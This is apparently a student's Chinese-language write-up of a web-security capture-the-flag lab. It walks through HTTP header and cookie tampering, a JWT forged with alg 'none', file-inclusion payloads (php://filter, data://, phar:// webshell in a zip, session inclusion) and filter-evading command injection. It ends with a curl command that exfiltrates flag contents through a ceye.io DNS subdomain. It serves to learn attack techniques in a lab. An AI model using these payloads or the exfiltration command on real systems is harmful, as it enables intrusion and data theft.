梦开始的地方
Basic
1、Http
Pass me GET parameter “key1”, let key1 be YulinSec
首先先直接在url修改 -> http://101.35.209.40:44505/?key1=YulinSec
Pass me POST parameter “key2”, let key2 be “YulinSec”
然后用Burp将Get转换成POST,在Body parameters处添加上 key2=YulinSec
You must come from “YulinSec://127.0.0.1”
在Headers处添加上 Referer: YulinSec://127.0.0.1 修改来源
You must be admin!
在Cookie处的 admin=0 表示非管理员,需将 0 改为 1 ,即 admin=1
Solved!
补充总结:
2、302
重定向,抓包后用Repeater重新发出去,获得重定向链接以及答案
Solved!
3、Encode
四个字符串直接解码(虽然不知道第一串用什么编码,但是可以猜是 Yulin )
Solved!
4、Method
http有很多种Method,那么将Get改为其他的尝试
最后可知将 Get 改为 OPTIONS
Solved!
5、Calc-1
发现只能输入一个数字,打开F12,看到 maxlength 大小为 1,
改为2,填 66 后提交
Solved!
6、Calc-2
打开F12,发现 check()函数返回值为 false,在console处(控制台)重新写一个 check() 并返回 true,回答问题
发现还是不行,打开上一题对比一下,可以发现上一题是 name=”result” ,而这一题是 id=”result” ,改成和上一题一样,回答
Solved!
7、回答不够快,考虑直接用python写脚本回答
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.common.by import By
import time
service = Service("E:\Software\chromedriver\chromedriver-win64\chromedriver.exe")
brower = webdriver.Chrome(service=service)
url = "http://101.35.209.40:44504/"
brower.get(url)
//获取算式,用 F12 可以知道是 <p></p> 中的内容
content = brower.find_element(By.TAG_NAME, "p").text
result = eval(content) //计算
print(result)
brower.find_element(By.XPATH, "/html/body/form/input[1]").send_keys(result) //填写答案
brower.find_element(By.XPATH, "/html/body/form/input[2]").click() //点击提交
time.sleep(5)
//获得 Flag 并查看
Solved!
8、Https
You must be admin!
没有什么突破口,好像只有一个token,用base64解码后,有JWT、iat、jti、exp等字样,上网学习,得知是 jwt 一种token的加密方法
首先将 admin 的值改为 1
继续学习,发现可以将 Headers 中的 alg 的值改为 “none” ,表示不使用加密,然后令 signature 部分(第三部分)置空
最后两部分分别encode即可(注意最后的点要点上!!)
Solved!
【Basic】 全部解决
【Local File Inclusion】
LFI-1、
flag就在在当前目录的flag.php文件中
直接在 url 后面加上 ?file=flag.php 来访问同目录下的 flag.php 文件
LIF-2、
访问 /?file=flag.php -> tips:flag在当前目录的某个文件中
尝试访问该目录中的文件
利用 Burp 抓包,在 GET 请求 body 加上 来列出目录中文件,发现 flag_754297461.txt 这个文件比较可疑
直接在 url 后面加上 ?file=flag_754297461.txt 来访问文件
LFI-3、
重复 T2 的操作,发现 php://input 没法用了,尝试用 data:// 来访问该目录中的文件
data:// 的操作为,在 url 后加上 ?file=data://,
即直接在 url 中加上 php 代码
发现 flag_21843732549.txt ,访问得到 flag
LFI-4、
访问 flag.php 文件,说 flag 就在这里,但没有显示,阅读学习资料后得知
“要将内容进行编码 base64 后显示,再自己解码”
在 url 后加上 ?file=php://filter/read=convert.base64-encode/resource=flag.php
表示访问 flag.php ,并用 base64 解码
得到字符串后再自己解码
LFI-5、
LFI-6、
上传图片马(图片+一句话木马),接着可以用 php://filter 来执行图片中的代码
但是!!! php://filter 被加到黑名单里了,用不了
.htaccess 文件也上传不了(用来更改特定类型文件的处理方式,使其被当作PHP代码执行)
最后问学长才知道用 jpg 图片是做不了的!!!
卡了半天,重新开始
发现还能传输 zip 文件,那么可以试着在zip文件里放个php文件,然后用 zip:// 或者 phar:// 来访问运行
注意是在 index.php 中运行!!!!
http://101.35.209.40:21005/index.php?file=phar://uploads/56ac2dfd390daf37419ed473a8d709aa.zip/1
然后就和上面一样了
LFI-7、
首先观察主要的代码,发现 session_start() ,要用 session包含漏洞 来做
首先我们需要传入 Cookie,以此来创建一个 sess_… 类的文件,这个文件中的 username 可以理解为可执行的php代码,所以我们需要在 url 中传入 a,其值为一句话木马
最后访问这个 sess 文件就可以找到 flag 的文件了
【Local File Inclusion】 全部解决
RCE
RCE-0
先看看当前目录有什么 101.35.209.40;ls
发现没有什么重要的,往上翻一层 101.35.209.40;cd ..;ls
没有发现flag,继续往上翻 101.35.209.40;cd ..;cd ..;ls
继续 101.35.209.40;cd ..;cd ..;cd ..;ls ,发现 flag_3124131231 文件
101.35.209.40;cd ..;cd ..;cd ..;cat flag_3124131231 即可
注意:
所以尽量多用 ‘;’ ,因为不知道会出现些什么奇怪的错误
RCE-1
输入过滤了&|;
查找资料,发现可以使用 %0a ,但是需要在 Request 里使用
然后就和上一题差不多了
RCE-2
过滤了好多字符 -> ” ‘ \ $ ` ? – [ ]
过滤了几个指令 -> cat ls
STFW
这种方式主要是针对文件名那几个字符被过滤时可以使用,就是用?或者*来代替具体的字符
但一定注意这是针对文件名的哈,命令是肯定不能直接这么用的,但linux下命令其实也是文件
比如说像cat就对应文件/bin/cat,ls就对应文件/bin/ls等等,我们也可以用类似的方法进行构造:
ls -> /bin/l?
cat -> /bin/c??
像preg_match("/.*f.*l.*a.*g.*/", $ip)这种flag字样都是被过滤了的,我们用通配符就很好用:
cat /flag -> /bin/ca? /????
试了一下好像只有 /bin/c?? 有用
根据前几题的经验,可以知道 flag 文件所在位置,庆幸的是 cd 可以使用,并且 flag 也没有被加入黑名单
;cd ../;cd ../;cd ../;type flag_*
(这个 type 其实是 Windows 系统中能输出文件内容的命令,是我看错了拿来用的(((,没想到 Linux 下真的有个同名的命令,作用是显示指定命令的类型,但我看也可以用来显示文件名(((误用))
可以得到 flag 文件名为 flag_12312321
然后就 ;cd ../;cd ../;cd ../;/bin/ca* flag_12312321
虽然说满屏乱码,但是查找一下可以发现 flag 在最后
RCE-3
过滤了好多字符 -> / ” ‘ $ ` – [ ]
过滤了几个指令 -> cat ls
发现 / 被过滤了,有点难办,继续 STFW
偶然发现
那就和上一题一样,得到 flag 的文件名
稍微试了一下发现 sort (用于输出)可以使用,那就直接搞得到 flag
(话说上一题和上上题好像在给我提示说用 url编码 和 base64编码 (()
RCE-4
稍微试了以下,好像无回显
;ls;sleep 5 发现网页在加载,sleep 命令确实有执行,证明确实无回显
然后就是 STFW
有前几题可以知道 flag 文件位置,尝试用写入的方法,但是失败了
创建文件后文件无法访问,会不会是被删除了,还是命令被过滤了
反正写入这条路是走不通了,看看其他方法
发现 Ⅵ.DNS请求 比较好懂,试试这个
利用 curl 命令
.域名 这个操作,获得回显(只会显示第一行,会替换掉“中的内容)
那就简单了,直接 ;curl cd ../;cd ../;cd ../;cat flag_*
.abcdef.ceye.io (此处链接使用自己的 Identifier )
获得输出
【RCE】 全部解决